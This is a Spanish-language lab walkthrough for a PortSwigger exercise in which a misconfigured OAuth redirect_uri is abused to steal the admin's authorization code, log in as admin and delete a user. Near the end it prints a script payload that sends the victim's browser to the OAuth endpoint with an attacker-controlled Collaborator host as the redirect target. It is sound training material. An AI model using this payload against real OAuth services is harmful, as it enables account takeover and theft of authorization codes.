OAuth account hijacking via redirect_uri
Laboratorio de Portswigger sobre OAuth
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio utiliza un servicio OAuth para permitir que los usuarios inicien sesión con su cuenta de redes sociales. Una mala configuración por parte del proveedor de OAuth hace posible que un atacante robe los códigos de autorización asociados a las cuentas de otros usuarios
Para resolver el laboratorio, debemos robar un código de autorización asociado al usuario admin, usarlo para acceder a su cuenta y eliminar al usuario carlos
El usuario admin abrirá cualquier cosa que enviemos desde el servidor de explotación y siempre tiene una sesión activa con el servicio OAuth. Podemos iniciar sesión con nuestra propia cuenta de redes sociales utilizando las credenciales wiener:peter
Guía de vulnerabilidades de OAuth
Antes de completar este laboratorio es recomendable leerse esta guía de vulnerabilidades de OAuth https://justice-reaper.github.io/posts/OAuth-Vulnerabilities-Guide/
Resolución
Al acceder a la web vemos esto
Si pulsamos sobre My account nos redirige a este panel de login
No logueamos con las credenciales wiener:peter
Posteriormente nos redirige a esta otra ventana donde nos solicita permiso para acceder a nuestro perfil e email
Si hemos iniciado sesión correctamente nos saldrá este mensaje al final
Si accedemos a My account veremos nuestro username y nuestro email
Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos todo el flujo de peticiones
Podemos determinar el grant type observando la petición a /auth. En este caso el parámetro response_type tiene el valor code lo cual quiere decir que estamos ante un authorization code grant type. Además de esto también podemos ver el nombre de host del servidor de autorización, en este caso es oauth-0a8c00f0048be6db80281596023800d2.oauth-server.net
Si la petición a /oauth-callback vemos que es el mismo código que se está filtrando en la petición anterior
Lo que hace la petición a /oauth-callback es loguearnos en nuestra cuenta
Si enviamos esta petición al Repeater y en el parámetro redirect_uri introducimos nuestro servidor de Burpsuite Collaborator vemos que funciona, lo cual quiere decir que es vulnerable a open redirect
Si pulsamos sobre Follow redirect vemos que efectivamente es vulnerable
Si no nos vamos a Burpsuite Collaborator vemos que hemos recibido el código
Nos dirigimos al Exploit server y creamos este payload
1
<script>document.location="https://oauth-0a0f009a03ae2658802e15e602a900e9.oauth-server.net/auth?client_id=ddxknvc302zusuduj1u4p&redirect_uri=https://ebtousjjgb9a0buf1sr5k9tii9o3ct0i.oastify.com&response_type=code&scope=openid%20profile%20email"</script>
Pulsamos sobre Deliver exploit to victim y nos dirigimos a Burpsuite Collaborator
Si ahora accedemos a https://0aae00b30373267780e11795004c0075.web-security-academy.net/oauth-callback?code=VWapVul97uPeVdySUeNJs5oTNjf_dfennkF1jlP7Unp vemos que acabamos de iniciar sesión como el usuario administrador
Accedemos al Admin panel y eliminamos la cuenta del usuario carlos

















